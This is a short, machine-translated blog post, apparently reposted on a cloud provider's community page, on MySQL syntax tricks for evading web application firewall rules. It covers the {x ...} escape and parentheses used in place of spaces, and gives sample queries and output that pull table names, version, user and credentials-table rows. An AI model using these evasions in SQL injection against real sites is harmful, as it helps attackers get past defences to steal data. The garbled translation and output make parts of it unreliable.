MySQL syntax bypass some WAF

Source: Internet
Author: User

Select {x table_name}  from {x Information_schema.tables}
Mysql> Select{x table_name} from{x Information_schema.tables};+----------------------------------------------------+|table_name|+----------------------------------------------------+|Character_sets||Collations||Collation_character_set_applicability||COLUMNS||Column_privileges||ENGINES|
Mysql> Select{x version ()} from{xUser};+---------------+|{x version ()}|+---------------+| 5.5. --Log    || 5.5. --Log    || 5.5. --Log    || 5.5. --Log    |+---------------+4Rowsinch Set(0.00Sec

Select{x a}from{x B}. B is any table name that exists for the current database. A is the content you want to return. Well, I can think of the scene is to get User (), version () and the like {} instead of a space bypass the regular detection of what? We can either select{x directly (User ())} or select (User ()).
To get other information, like this.

Mysql> Select{x (Select User  from UserLimit1)} from{xUser};+-------------------------------------+|{x (Select User  from UserLimit1)}|+-------------------------------------+|Root||Root||Root||Root
MySQL>Select{x (name)}from{x (Manager)}; + -- ------+ | | + -- ------+ | Admin  | + -- ------+ 1 inch Set (0.00 sec)

You can play it like this, remove the space

It's OK to use parentheses!

 as : Select (host)  from (MySQL. User ); SELECT (Unhex (Unhex (333532453335324533323335)));

The rules of certain WAF are matched directly with parentheses

Select {x+table_name}  from

https://twitter.com/Black2Fan/status/564746640138182656
Http://dev.mysql.com/doc/refman/5.6/en/date-and-time-literals.html#date-and-time-standard-sql-literals
http://dev.mysql.com/doc/refman/5.6/en/join.html#idm140714470997024

MySQL syntax bypass some WAF

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.